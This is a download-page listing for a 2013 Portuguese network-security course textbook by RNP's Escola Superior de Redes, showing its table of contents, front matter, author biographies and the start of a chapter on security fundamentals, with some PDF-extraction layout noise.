Segurança de Redes e Sistemas [1 ed.] 978-85-63630-13-1

1,216 249 8MB

Portuguese Pages 270 Year 2013

Report DMCA / Copyright

DOWNLOAD FILE

Polecaj historie

Segurança de Redes e Sistemas [1 ed.]
 978-85-63630-13-1

Table of contents :
Segurança de Redes e Sistemas......Page 3
Sumário......Page 7
Exercício de nivelamento - Fundamentos de Segurança......Page 19
Conceitos básicos de segurança......Page 20
Processo de Tratamento de Resposta a Incidentes......Page 24
Ciclo de vida de um incidente......Page 25
Grupos de resposta a incidentes......Page 26
Normas ISO/ABNT......Page 29
Políticas de segurança......Page 31
Exercício de fixação 4 - Políticas de segurança......Page 33
Planejando uma rede segura......Page 34
Atividade 3 – Política de segurança......Page 35
Atividade 4 – Configuração inicial do laboratório prático......Page 36
Penetration Test......Page 39
Nmap......Page 42
Hping......Page 45
Alguns tipos de ataques......Page 52
Exercício de fixação 5 - Alguns tipos de ataque......Page 55
Atividade 1 – Realizando ataques de protocolos......Page 63
Atividade 2 – Levantando os serviços da máquina alvo com Nmap......Page 64
Atividade 3 – Realizando um ataque com Metasploit......Page 65
Atividade 4 – Realizando um ataque de dicionário com o Medusa......Page 67
Exercício de nivelamento 1 - Firewall......Page 69
Tecnologias de firewall......Page 70
Topologias de firewall......Page 73
Netfilter (Iptables)......Page 76
Implementação do Netfilter......Page 77
Modo de operação do Netfilter......Page 79
Controle perimetral......Page 81
SNAT......Page 83
Packet Filter (PF)......Page 84
Firewall Builder......Page 87
Atividade 2 – Topologias de firewall......Page 89
Atividade 3 – Topologias de firewall......Page 90
Atividade 4 – Filtro de pacotes......Page 91
Atividade 5 – Controle de NAT......Page 97
Atividade 7 – Identificando as regras do firewall......Page 98
Gerenciamento de logs......Page 99
Syslog-ng......Page 100
Logs do Windows......Page 103
Exercício de fixação 4 - NTP......Page 106
Monitoramento de serviços......Page 107
Avaliação das ferramentas......Page 110
Vantagens do Cacti......Page 111
Roteiro de Atividades 4......Page 112
Atividade 1 – Configuração do servidor de Syslog......Page 113
Atividade 2 – Configuração do servidor de hora......Page 115
Atividade 3 – Monitoramento de serviços......Page 118
Sistemas de Detecção de Intrusos (IDS)......Page 121
Sistema de Prevenção de Intrusos (IPS)......Page 123
Sistemas de Detecção de Intrusos em hosts (HIDS)......Page 124
Snort......Page 125
Instalação do Snort......Page 127
Configuração do Snort......Page 130
Regras do Snort......Page 131
Oinkmaster......Page 132
Snort-inline......Page 133
HIDS......Page 134
Atividade 2 – Atualização de regras......Page 135
Atividade 3 – Bloqueio automático no firewall......Page 136
Atividade 4 – Criando uma regra personalizada do Snort......Page 137
Sistema AAA......Page 139
Criptografia......Page 141
Criptografia simétrica......Page 142
Tamanho das chaves......Page 143
Algoritmos Hash......Page 144
Exercício de fixação 3 - Algoritmos Hash......Page 145
Obtendo certificado de usuário......Page 146
Gerenciamento de senhas......Page 147
Sistema de senhas Linux......Page 148
Valor do SALT......Page 149
Sistema de senhas Windows......Page 150
Administrando as senhas......Page 151
S/Key......Page 152
Smart Card......Page 153
Serviço de diretório......Page 154
Protocolo Kerberos......Page 155
Benefícios do Kerberos......Page 158
Certificação digital......Page 159
Geração dos dados......Page 160
Atividade 1 – Utilização do sistema OTP S/Key......Page 163
Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008......Page 164
Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação......Page 165
VPN......Page 169
VPN PPTP......Page 170
L2TP......Page 171
IPSec......Page 172
Exercício de fixação 1 - VPN......Page 173
Modos de operação do IPSec......Page 174
Protocolos IPSec......Page 175
VPN SSL......Page 177
Instalação do Openswan......Page 178
Configuração do Openswan......Page 180
Instalação do OpenVPN......Page 182
Configuração do OpenVPN......Page 184
Roteiro de Atividades 7......Page 186
Atividade 1 – VPN IPSec......Page 187
Atividade 2 – VPN SSL......Page 189
Atividade 3 – Servidor VPN SSL para múltiplos clientes......Page 194
Exercício de nivelamento 1 - Auditoria de Segurança da Informação......Page 199
Análise de vulnerabilidades......Page 200
Instalação do Nessus......Page 201
Auditoria com o Nessus......Page 202
Testando o firewall......Page 205
Testando as regras do firewall......Page 206
Alertas e registros......Page 210
Atividade 1 – Auditoria com Nessus......Page 213
Atividade 4 – Exemplo de auditoria......Page 214
Atividade 6 – Utilizando o Xprobe......Page 215
Atividade 7 – Utilizando o THC-Amap......Page 216
Necessidade de configuração de um bastion host......Page 217
Configuração de filtros de pacotes......Page 218
Desabilitando serviços desnecessários......Page 222
Ferramentas de análise da segurança do Windows......Page 225
SYSInternals......Page 226
MBSA......Page 228
Microsoft Security Compliance Manager......Page 229
Sistemas de arquivos e gerenciamento de usuários......Page 232
Group Policy Objects......Page 233
Políticas de usuários e de computador......Page 235
Heranças de GPO......Page 236
Diretiva de senhas......Page 237
Diretiva de auditoria......Page 238
Opções de segurança......Page 240
Roteiro de Atividades 9......Page 242
Atividade 1 – Configuração segura de servidor......Page 243
Atividade 2 – Auditoria......Page 244
Atividade 4 – Controle de acesso ao sistema operacional......Page 245
Introdução......Page 247
Instalação do Linux......Page 248
Desabilitando serviços desnecessários......Page 249
Pacotes e programas......Page 252
Configuração segura de serviços......Page 254
Acessos administrativos......Page 255
Atualização do sistema operacional......Page 257
Sistema de arquivos proc......Page 258
Atividade 1 – Configuração segura de servidor......Page 261
Atividade 4 – Ferramentas de segurança......Page 268
Bibliografia......Page 269

Citation preview

LIVRO DE APOIO AO CURSO

pleta de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN. O amplo escopo de conceitos abordados permitirá a aplicação das técnicas de autenticação e autorização seguras, auditorias de segurança e de requisitos de configuração segura de servidores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro, aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar sistemas de autenticação seguros. Este livro inclui os roteiros das atividades práticas e o conteúdo dos slides apresentados em sala de aula, apoiando profissionais na disseminação deste conhecimento em suas organizações ou localidades de origem.

ISBN 978-85-63630-13-1

9 788563 630131

Segurança de Redes e Sistemas

O aluno aprenderá a implementar uma solução com-

Segurança

de Redes e Sistemas Ivo de Carvalho Peixinho Francisco Marmo da Fonseca Francisco Marcelo Lima

Segurança

de Redes e Sistemas Ivo de Carvalho Peixinho Francisco Marmo da Fonseca Francisco Marcelo Lima

Segurança

de Redes e Sistemas Ivo de Carvalho Peixinho Francisco Marmo da Fonseca Francisco Marcelo Lima

Rio de Janeiro Escola Superior de Redes 2013

Copyright © 2013 – Rede Nacional de Ensino e Pesquisa – RNP Rua Lauro Müller, 116 sala 1103 22290-906 Rio de Janeiro, RJ Diretor Geral

Nelson Simões Diretor de Serviços e Soluções

José Luiz Ribeiro Filho

Escola Superior de Redes Coordenação

Luiz Coelho Edição

Pedro Sangirardi Revisão Técnica

Francisco Marcelo Lima Coordenação Acadêmica de Segurança e Governança de TI Edson Kowask Equipe ESR (em ordem alfabética)

Celia Maciel, Cristiane Oliveira, Derlinéa Miranda, Elimária Barbosa, Lourdes Soncin, Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Sérgio Souza Capa, projeto visual e diagramação

Tecnodesign Versão

2.1.1

Este material didático foi elaborado com fins educacionais. Solicitamos que qualquer erro encontrado ou dúvida com relação ao material ou seu uso seja enviado para a equipe de elaboração de conteúdo da Escola Superior de Redes, no e-mail [email protected]. A Rede Nacional de Ensino e Pesquisa e os autores não assumem qualquer responsabilidade por eventuais danos ou perdas, a pessoas ou bens, originados do uso deste material. As marcas registradas mencionadas neste material pertencem aos respectivos titulares. Distribuição

Escola Superior de Redes

Rua Lauro Müller, 116 – sala 1103 22290-906 Rio de Janeiro, RJ http://esr.rnp.br [email protected]

Dados Internacionais de Catalogação na Publicação (CIP) W380p PEIXINHO, Ivo de Carvalho Segurança de Redes e Sistemas/ Ivo de Carvalho Peixinho. – Rio de Janeiro: RNP/ESR, 2013. 268 p. : il. ; 27,5 cm.

Bibliografia: p. 251. ISBN 978-85-63630-13-1

1. Planejamento estratégico – Processamento de dados. 2. Sistemas de informação gerencial. 3. Tecnologia da informação – gestão. I. Título.

CDD 658.4012

Sumário 1. Fundamentos de segurança Introdução 1 Exercício de nivelamento 1 – Fundamentos de Segurança 2 Conceitos básicos de segurança 2 Exercício de fixação 1 – Conceitos 6 Processo de Tratamento de Resposta a Incidentes 6 Ciclo de vida de um incidente 7 Grupos de resposta a incidentes 8 Exercício de fixação 2 – Processo de tratamento de incidentes 11 Exercício de fixação 3 – Grupo de resposta a incidentes 11 Normas ISO/ABNT 11 Políticas de segurança 13 Exercício de fixação 4 – Políticas de segurança 15 Planejando uma rede segura 16 Roteiro de Atividades 1 17 Atividade 1 – Exercitando os fundamentos de segurança 17 Atividade 2 – Normas de segurança 17 Atividade 3 – Política de segurança 17 Atividade 4 – Configuração inicial do laboratório prático 18

2. Explorando vulnerabilidades em redes Introdução 21 Exercício de nivelamento 1 – Explorando vulnerabilidades em redes 21 Penetration Test 21 iii

Exercício de fixação 1 – Penetration Test 24 Exercício de fixação 2 – Packet sniffing 24 Nmap 24 Exercício de fixação 3 – Nmap 27 Hping 27 Exercício de fixação 3 – IP Spoofing 34 Exercício de fixação 4 – DoS 34 Alguns tipos de ataques 34 Exercício de fixação 5 – Alguns tipos de ataque 37 Roteiro de Atividades 2 45 Atividade 1 – Realizando ataques de protocolos 45 Atividade 2 – Levantando os serviços da máquina alvo com Nmap 46 Atividade 3 – Realizando um ataque com Metasploit 47 Atividade 4 – Realizando um ataque de dicionário com o Medusa 49

3. Firewall – Conceitos e Implementação Introdução 51 Exercício de nivelamento 1 – Firewall 51 Firewall 52 Tecnologias de firewall 52 Exercício de fixação 1 – Filtros de pacotes 55 Exercício de fixação 2 – Servidores proxy 55 Topologias de firewall 55 Exercício de fixação 3 – Topologias de firewall 58 Exercício de fixação 4 – Screened Subnet 58 Implementação de firewalls 58 Netfilter (Iptables) 58 Implementação do Netfilter 59 Modo de operação do Netfilter 61 Exercício de fixação 5 – Netfilter 63 Controle perimetral  63 Tradução de IP (NAT) 65 Packet Filter (PF)  66 Firewall Builder 69

iv

Roteiro de Atividades 3 71 Atividade 1 – Filtros de pacotes 71 Atividade 2 – Topologias de firewall 71 Atividade 3 – Topologias de firewall 72 Atividade 4 – Filtro de pacotes 73 Atividade 5 – Controle de NAT 79 Atividade 6 – Gerenciamento gráfico do Firewall Builder  80 Atividade 7 – Identificando as regras do firewall 80

4. Serviços básicos de segurança Introdução 81 Exercício de nivelamento 1 – Serviços básicos de segurança 81 Gerenciamento de logs 81 Syslog-ng 82 Exercício de fixação 1 – Gerenciamento de logs 85 Exercício de fixação 2 – Syslog 85 Logs do Windows 85 Exercício de fixação 3 – Logs do Windows 88 Exercício de fixação 4 – NTP 88 Monitoramento de serviços 89 Avaliação das ferramentas 92 Vantagens do Cacti 93 Roteiro de Atividades 4 95 Atividade 1 – Configuração do servidor de Syslog  95 Atividade 2 – Configuração do servidor de hora 97 Atividade 3 – Monitoramento de serviços 100

5. Detecção e prevenção de intrusos Introdução 103 Exercício de nivelamento 1 – Detecção e prevenção de intrusos 103 Sistemas de Detecção de Intrusos (IDS) 103 Exercício de fixação 1 – IDS 105 Sistema de Prevenção de Intrusos (IPS) 105 Exercício de fixação 2 – IPS 106

v

Sistemas de Detecção de Intrusos em hosts (HIDS) 106 Exercício de fixação 3 – HIDS 107 Snort  107 Instalação do Snort 109 Configuração do Snort 112 Regras do Snort 113 Oinkmaster 114 Guardian: um Snort reativo 115 Snort-inline 115 HIDS 116 Roteiro de Atividades 5 117 Atividade 1 – Configuração básica do Snort 117 Atividade 2 – Atualização de regras 118 Atividade 3 – Bloqueio automático no firewall 119 Atividade 4 – Criando uma regra personalizada do Snort 119

6. Autenticação, Autorização e Certificação Digital Introdução 121 Exercício de nivelamento 1 – Autenticação e autorização 121 Sistema AAA 121 Exercício de fixação 1 – Sistema AAA 123 Criptografia 123 Criptografia simétrica 124 Criptografia assimétrica 125 Tamanho das chaves 125 Algoritmos Hash 126 Modos de operação de algoritmos criptográficos 127 Exercício de fixação 2 – Criptografia 127 Exercício de fixação 3 – Algoritmos Hash 127 Certificados digitais 128 Obtendo certificado de usuário 128 Revogando o certificado do usuário 129 Exercício de fixação 4 – Certificados digitais 129 Gerenciamento de senhas 129 Sistema de senhas Linux 130

vi

Valor do SALT 131 Exercício de fixação 5 – Sistema de senhas Linux 132 Exercício de fixação 6 – SALT 132 Sistema de senhas Windows 132 Administrando as senhas 133 Exercício de fixação 7 – Sistema de senhas no Windows 134 Sistemas de Autenticação Única 134 OTP 134 S/Key 134 Smart Card 135 Servidores de diretório: LDAP 136 Serviço de diretório 136 Exercício de fixação 8 – LDAP 137 Exercício de fixação 9 – Serviço de diretórios 137 Tipos de informação 137 Protocolo Kerberos  137 Acesso a serviços em uma rede 140 Benefícios do Kerberos 140 Organização do Kerberos 141 Exercício de fixação 10 – Kerberos 141 Certificação digital 142 Trilhas de auditoria  142 Geração dos dados 142 Roteiro de Atividades 6 145 Atividade 1 – Utilização do sistema OTP S/Key 145 Atividade 2 – Configurando o serviço de autenticação Kerberos no Windows 2008 146 Atividade 3 – Uso do Cain & Abel para avaliar a segurança do sistema de autenticação 147

7. Redes Privadas Virtuais Introdução 151 Exercício de nivelamento 1 – Redes Privadas Virtuais 151 VPN 151 Objetivos de uma VPN 152 VPN PPTP 153 L2TP  153 IPSec 154 Exercício de fixação 1 – VPN 155 vii

Exercício de fixação 2 – IPSec 156 Modos de operação do IPSec 156 Protocolos IPSec 157 Exercício de fixação 3 – IPSec 159 VPN SSL 159 Exercício de fixação 4 – VPN SSL 160 Implementação IPSec no Linux 160 Instalação do Openswan 160 Configuração do Openswan 162 Implementação de VPN SSL no Linux 164 Instalação do OpenVPN 165 Configuração do OpenVPN 166 Roteiro de Atividades 7 169 Atividade 1 – VPN IPSec 169 Atividade 2 – VPN SSL 171 Atividade 3 – Servidor VPN SSL para múltiplos clientes 176

8. Auditoria de Segurança da Informação Introdução 181 Exercício de nivelamento 1 – Auditoria de Segurança da Informação 181 Análise de vulnerabilidades 182 Exercício de fixação 1 – Análise de vulnerabilidades 183 Instalação do Nessus 183 Auditoria com o Nessus 184 Exemplo de auditoria em firewall 187 Arquitetura do firewall 187 Testando o firewall 187 Testando as regras do firewall 188 Exercício de fixação 2 – Arquitetura do firewall 192 Exercício de fixação 3 – Testando o firewall 192 Alertas e registros 192 Roteiro de Atividades 8 195 Atividade 1 – Auditoria com Nessus 195 Atividade 2 – Auditoria sem filtros de pacotes 196 Atividade 3 – Auditoria do IDS 196

viii

Atividade 4 – Exemplo de auditoria 196 Atividade 5 – Utilizando o Nikto 197 Atividade 6 – Utilizando o Xprobe 197 Atividade 7 – Utilizando o THC-Amap 198

9. Configuração segura de servidores Windows Introdução 199 Exercício de nivelamento 1 – Configuração segura de servidores Windows 199 Necessidade de configuração de um bastion host 200 Exercício de fixação 1 – Bastion host 200 Check-list 200 Configuração de filtros de pacotes 201 Exercício de fixação 2 – Configuração de filtros de pacotes 204 Criação de uma linha base de segurança (baseline) 204 Desabilitando serviços desnecessários 204 Exercício de fixação 3 – Baseline 207 Ferramentas de análise da segurança do Windows 207 WMIC 208 SYSInternals 208 WSUS 210 MBSA  210 Microsoft Security Compliance Manager 211 Exercício de fixação 4 – Microsoft Security Compliance Manager 214 Sistemas de arquivos e gerenciamento de usuários 214 Group Policy Objects 215 Exercício de fixação 5 – Group Policy Objects (GPO) 217 Políticas de usuários e de computador 217 Heranças de GPO 218 Diretivas de segurança local 219 Diretiva de senhas 219 Diretiva de auditoria 220 Atribuição de direitos de usuários 222 Opções de segurança 222 Roteiro de Atividades 9 225 Atividade 1 – Configuração segura de servidor 225

ix

Atividade 2 – Auditoria 226 Atividade 3 – Envio de log para servidor remoto 227 Atividade 4 – Controle de acesso ao sistema operacional 228

10. Configuração segura de servidores Linux Introdução 229 Exercício de nivelamento 1 – Configuração segura de servidores Linux 230 Instalação do Linux 230 Desabilitando serviços desnecessários 231 Exercício de fixação 1 – Desabilitando serviços desnecessários 234 Pacotes e programas 234 Configuração segura de serviços 236 Exercício de fixação 2 – Configuração segura de serviços 237 Acessos administrativos 237 Exercício de fixação 3 – Acessos administrativos 239 Atualização do sistema operacional 239 Pacotes compilados 240 Sistema de arquivos proc 240 Roteiro de Atividades 10 243 Atividade 1 – Configuração segura de servidor 243 Atividade 2 – Auditoria 250 Atividade 3 – Ferramentas e mecanismos para monitoramento 250 Atividade 4 – Ferramentas de segurança 250

Bibliografia  251

x

Escola Superior de Redes A Escola Superior de Redes (ESR) é a unidade da Rede Nacional de Ensino e Pesquisa (RNP) responsável pela disseminação do conhecimento em Tecnologias da Informação e Comunicação (TIC). A ESR nasce com a proposta de ser a formadora e disseminadora de competências em TIC para o corpo técnico-administrativo das universidades federais, escolas técnicas e unidades federais de pesquisa. Sua missão fundamental é realizar a capacitação técnica do corpo funcional das organizações usuárias da RNP, para o exercício de competências aplicáveis ao uso eficaz e eficiente das TIC. A ESR oferece dezenas de cursos distribuídos nas áreas temáticas: Administração e Projeto de Redes, Administração de Sistemas, Segurança, Mídias de Suporte à Colaboração Digital e Governança de TI. A ESR também participa de diversos projetos de interesse público, como a elaboração e execução de planos de capacitação para formação de multiplicadores para projetos educacionais como: formação no uso da conferência web para a Universidade Aberta do Brasil (UAB), formação do suporte técnico de laboratórios do Proinfo e criação de um conjunto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR A filosofia pedagógica e a metodologia que orientam os cursos da ESR são baseadas na aprendizagem como construção do conhecimento por meio da resolução de problemas típicos da realidade do profissional em formação. Os resultados obtidos nos cursos de natureza teórico-prática são otimizados, pois o instrutor, auxiliado pelo material didático, atua não apenas como expositor de conceitos e informações, mas principalmente como orientador do aluno na execução de atividades contextualizadas nas situações do cotidiano profissional. A aprendizagem é entendida como a resposta do aluno ao desafio de situações-problema semelhantes às encontradas na prática profissional, que são superadas por meio de análise, síntese, julgamento, pensamento crítico e construção de hipóteses para a resolução do problema, em abordagem orientada ao desenvolvimento de competências. Dessa forma, o instrutor tem participação ativa e dialógica como orientador do aluno para as atividades em laboratório. Até mesmo a apresentação da teoria no início da sessão de aprendizagem não é considerada uma simples exposição de conceitos e informações. O instrutor busca incentivar a participação dos alunos continuamente.

xi

As sessões de aprendizagem onde se dão a apresentação dos conteúdos e a realização das atividades práticas têm formato presencial e essencialmente prático, utilizando técnicas de estudo dirigido individual, trabalho em equipe e práticas orientadas para o contexto de atuação do futuro especialista que se pretende formar. As sessões de aprendizagem desenvolvem-se em três etapas, com predominância de tempo para as atividades práticas, conforme descrição a seguir: Primeira etapa: apresentação da teoria e esclarecimento de dúvidas (de 60 a 90 minutos). O instrutor apresenta, de maneira sintética, os conceitos teóricos correspondentes ao tema da sessão de aprendizagem, com auxílio de slides em formato PowerPoint. O instrutor levanta questões sobre o conteúdo dos slides em vez de apenas apresentá-los, convidando a turma à reflexão e participação. Isso evita que as apresentações sejam monótonas e que o aluno se coloque em posição de passividade, o que reduziria a aprendizagem. Segunda etapa: atividades práticas de aprendizagem (de 120 a 150 minutos). Esta etapa é a essência dos cursos da ESR. A maioria das atividades dos cursos é assíncrona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dúvidas e oferecer explicações complementares. Terceira etapa: discussão das atividades realizadas (30 minutos). O instrutor comenta cada atividade, apresentando uma das soluções possíveis para resolvê-la, devendo ater-se àquelas que geram maior dificuldade e polêmica. Os alunos são convidados a comentar as soluções encontradas e o instrutor retoma tópicos que tenham gerado dúvidas, estimulando a participação dos alunos. O instrutor sempre estimula os alunos a encontrarem soluções alternativas às sugeridas por ele e pelos colegas e, caso existam, a comentá-las.

Sobre o curso O aluno aprenderá sobre perímetros de segurança, através da implementação de uma solução completa de proteção de redes, utilizando técnicas como firewall, IDS, IPS e VPN. O amplo escopo de conceitos abordados permitirá a aplicação das técnicas seguras de autenticação e autorização, auditorias de segurança e requisitos de configuração de servidores Linux e Windows. Após o curso, o aluno será capaz de montar um perímetro seguro, aumentar a segurança dos servidores da rede, realizar auditorias de segurança e implantar sistemas de autenticação seguros.

A quem se destina Profissionais de TI que desejam adquirir ou atualizar os seus conhecimentos sobre segurança de redes e sistemas a fim de garantir melhor aplicabilidade das práticas de segurança da informação em suas organizações.

Convenções utilizadas neste livro As seguintes convenções tipográficas são usadas neste livro: Itálico Indica nomes de arquivos e referências bibliográficas relacionadas ao longo do texto.

xii

Largura constante Indica comandos e suas opções, variáveis e atributos, conteúdo de arquivos e resultado da saída de comandos.

Conteúdo de slide Indica o conteúdo dos slides referentes ao curso apresentados em sala de aula.

Símbolo Indica referência complementar disponível em site ou página na internet.

Símbolo Indica um documento como referência complementar.

Símbolo Indica um vídeo como referência complementar.

Símbolo Indica um arquivo de aúdio como referência complementar.

Símbolo Indica um aviso ou precaução a ser considerada.

Símbolo Indica questionamentos que estimulam a reflexão ou apresenta conteúdo de apoio ao entendimento do tema em questão.

Símbolo Indica notas e informações complementares como dicas, sugestões de leitura adicional ou mesmo uma observação.

Permissões de uso Todos os direitos reservados à RNP. Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra. Exemplo de citação: PEIXINHO, Ivo. Segurança de Redes e Sistemas. Rio de Janeiro: Escola Superior de Redes, 2013.

Comentários e perguntas Para enviar comentários e perguntas sobre esta publicação: Escola Superior de Redes RNP Endereço: Av. Lauro Müller 116 sala 1103 – Botafogo Rio de Janeiro – RJ – 22290-906 E-mail: [email protected]

xiii

Sobre os autores Ivo de Carvalho Peixinho é Bacharel em Ciência da Computação pela UFBA e Especialista em Gestão de Segurança da Informação pela UnB. Possui mais de 15 anos de experiência na área de Segurança da Informação. Foi Diretor Técnico na XSite Consultoria e Tecnologia, Analista de Suporte na Universidade Federal da Bahia. Em 2004 atuou como Analista de Segurança Sênior no CAIS/RNP por dois anos e atualmente é Perito Criminal Federal do Departamento de Polícia Federal desde 2007, lotado atualmente no Serviço de Repressão a Crimes Cibernéticos - SRCC/CGPFAZ/DICOR/DPF. É professor de pós-graduação nas disciplinas de Análise Forense em Sistemas UNIX e Análise de Malware e é palestrante em diversos eventos nacionais e internacionais como GTS, Seginfo, CNASI, ICCyber e FIRST. Francisco Marmo da Fonseca é bacharel em Engenharia da Computação pelo Instituto de Educação Superior de Brasília e pós-graduando em Perícia Digital pela Universidade Católica de Brasília. Iniciou sua atuação em Redes como bolsista pesquisador do Projeto de Pesquisa REMAV-GO (1997-1999), financiado pela RNP e CNPq. Possui 14 anos de experiência na área de Redes de Computadores, atua como engenheiro consultor de Redes há 5 anos, sendo os últimos 3 anos na Layer2 do Brasil em clientes como Departamento de Polícia Federal, IG e Oi. Tem passagens pela Serasa (2006-2008) como consultor no Banco Central na Rede do Sistema Financeiro Nacional, e na Brasil Telecom (2002-2007) como analista de Operações de Redes IP. Francisco Marcelo Lima é certificado Project Management Professional (PMP) e Modulo Certified Security Officer (MCSO), Mestre em Engenharia Elétrica pela Universidade de Brasília (2009), Mestre em Liderança pela Universidade de Santo Amaro (2007) e pós-graduado em Segurança de Redes de Computadores pela Universidade Católica de Brasília (2003). Atualmente exerce as funções de Coordenador dos Cursos de Redes de Computadores e Segurança da Informação do IESB e Analista em TI do MPOG cedido para a Controladoria-Geral da União/PR. Atua, também, como instrutor/revisor dos cursos de segurança e redes na RNP e instrutor/revisor dos cursos de planejamento estratégico (PDTI) e gestão de contratos de TI (GCTI) na ENAP. Possui mais de 15 anos de experiência na área de Ciência da Computação com ênfase em Segurança da Informação, Redes e Construção de Software tendo exercido funções como: Coordenador Geral de TI do INCRA (DAS 4); Coordenador do Curso de Segurança da Informação da Faculdade Rogacionista; Coordenador do Curso de Processamento de Dados e Segurança da Informação da Faculdade AD1, Analista em Segurança da empresa Módulo Security Solutions. Edson Kowask Bezerra é profissional da área de segurança da informação e governança há mais de quinze anos, atuando como auditor líder, pesquisador, gerente de projeto e gerente técnico, em inúmeros projetos de gestão de riscos, gestão de segurança da informação, continuidade de negócios, PCI, auditoria e recuperação de desastres em empresas de grande porte do setor de telecomunicações, financeiro, energia, indústria e governo. Com vasta experiência nos temas de segurança e governança, tem atuado também como palestrante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em segurança e governança. É professor e coordenador de cursos de pós-graduação na área de segurança da informação, gestão integrada, de inovação e tecnologias web. Hoje atua como Coordenador Acadêmico de Segurança e Governança de TI da Escola Superior de Redes.

xiv

1 Apresentar ao aluno fundamentos de segurança como estratégias, estágios do ciclo de vida de incidentes, grupos de resposta a incidentes e normas de políticas de segurança.

e privacidade, entre outros.

conceitos

Confidencialidade, integridade, disponibilidade, autenticidade, legalidade, não repúdio

Introdução A Segurança da Informação (SI) é uma área em constante evolução, que se desenvolveu muito nos últimos anos, com a criação de normas e certificações internacionais e aumento expressivo no número de profissionais dedicados. O profissional que pretende atuar nessa área deve estar ciente de que ela é bastante dinâmica e envolve diversos setores da computação, como programação e desenvolvimento de sistemas, redes de computadores, sistemas operacionais e bancos de dados, entre outras. Quanto mais conhecimento o profissional de SI possuir, mais capacidade terá de desempenhar seu papel. Apesar de todos esses avanços, a SI ainda é uma área nova, e a cada dia novas subáreas e conceitos são descobertos e incorporados. Para este curso, considera-se que o aluno completou o curso de Introdução à Segurança de Redes e já possui uma noção sobre segurança de redes, incluindo a família de protocolos TCP/IP, além de noções de administração de servidores Linux e Windows. Este curso terá enfoque mais prático, com foco na área de redes e sistemas operacionais. Ao final do curso, o aluno deve ser capaz de compreender e utilizar os conceitos e ferramentas de segurança de redes, de modo a projetar e configurar uma rede com um nível de segurança aceitável, além de ser capaz de aumentar o nível de segurança dos sistemas operacionais mais utilizados no mercado, através de configurações mais seguras dos sistemas e serviços destes sistemas operacionais. Por fim, é importante que o aluno tenha consciência de que este é um curso prático e progressivo, com atividades práticas fundamentais e interdependentes, de modo que uma atividade de um capítulo é pré-requisito para as atividades dos capítulos seguintes. O aluno deve investir nas atividades práticas para finalizá-las completamente, caso contrário poderá não obter o aproveitamento desejado.

Capítulo 1 - Fundamentos de segurança

objetivos

Fundamentos de segurança

1

Exercício de nivelamento 1 e Fundamentos de Segurança O que você entende por segurança da informação?

Como sua organização trata a área de segurança da informação?

Conceitos básicos de segurança O profissional de segurança deve ter sempre em mente alguns conceitos básicos, que nortearão o seu trabalho no dia a dia. Ele deve pensar de forma diferente do tradicional, pois para ele não é suficiente apenas o recurso ou serviço estar funcionando: é preciso estar funcionando de forma segura. Podemos citar como exemplo o desenvolvimento de uma aplicação web. Neste exemplo dispomos de diversos componentes que devem funcionar de forma integrada. Podemos citar então: 11 Servidores físicos (hardware).

q

11 Sistemas operacionais dos servidores. 11 Servidor de aplicação. 11 Servidor HTTP. 11 Aplicação web. 11 Servidor de banco de dados. 11 Segurança do hardware dos servidores. 11 Segurança do sistema operacional. 11 Segurança da aplicação através de testes de penetração. 11 Segurança da rede de comunicação. Aqui estamos tratando de um exemplo didático, pois uma aplicação comercial em produção poderá ter outros componentes, como redundância, sistemas de gerenciamento, sistemas de avaliação de desempenho das aplicações e ambientes de virtualização, entre outros. Para o desenvolvedor, a preocupação maior é com o bom funcionamento da aplicação. Hoje existem alguns padrões de desenvolvimento seguro, boas práticas e informações sobre os problemas de segurança mais comuns desse tipo de aplicação. Porém, o desenvolvedor nor Segurança de Redes e Sistemas

malmente possui prazos a cumprir e nem sempre possui experiência suficiente no desen-

2

volvimento de código seguro. A equipe de suporte possui a preocupação de alocar recursos suficientes para a operação da aplicação, de acordo com a carga esperada. A equipe de homologação e testes muitas vezes está apenas preocupada com o bom funcionamento da aplicação em condições normais de operação. O profissional de segurança, por outro lado, está preocupado com a segurança da aplicação, o que envolve a segurança de cada um dos componentes envolvidos: 11 Segurança do hardware dos servidores, com garantia de fornecimento de energia através de fontes redundantes, nobreaks, geradores e até servidores redundantes.

11 Segurança do sistema operacional, do servidor de aplicação e do servidor web, através da configuração segura, retirada de serviços desnecessários, aplicação das últimas correções de segurança do fabricante, filtragem de portas desnecessárias, entre outros. 11 Segurança da aplicação através de testes de penetração, avaliação das possíveis vulnerabilidades, análise do código, entre outros. 11 Segurança da rede de comunicação, com avaliação da possibilidade de ataques de negação de serviço pela rede, ataques a protocolos, entre outros. O profissional de segurança deve ter uma formação diversificada:

q

11 Segurança de redes wireless. 11 Testes de invasão (pentest). 11 Análise forense computacional. 11 Tratamento de incidentes de segurança. 11 Desenvolvimento de aplicações seguras. 11 Segurança de aplicações. O profissional de segurança deve ter profundo conhecimento em questões de segurança física de computadores, segurança de sistemas operacionais, serviços e aplicações web, atuando com responsabilidade e sempre buscando níveis mais profundos de conhecimento. Atualmente, com o aumento da complexidade dos sistemas de informação, está cada vez mais difícil um único profissional abranger todo esse conhecimento, de forma que começam a surgir profissionais especializados em determinadas áreas da segurança. Áreas como segurança de redes wireless, testes de invasão (pentest), análise forense computacional, tratamento de incidentes de segurança e desenvolvimento de aplicações seguras são apenas alguns exemplos de especializações encontradas no mercado nos dias de hoje. Entre os conhecimentos que um profissional de segurança deve possuir, talvez o conceito mais básico corresponda à sigla CID (Confidencialidade, Integridade e Disponibilidade), que é derivada do inglês CIA (Confidentiality, Integrity and Availability). Ela é o pilar de toda a área Pode ser definido como qualquer evento adverso, confirmado ou sob suspeita, relacionado à segurança de sistemas de computação ou de redes de computadores.

de SI, de modo que um incidente de segurança é caracterizado quando uma dessas áreas é afetada. A seguir, veremos em detalhes cada um desses itens. Fundamentos de segurança:

q

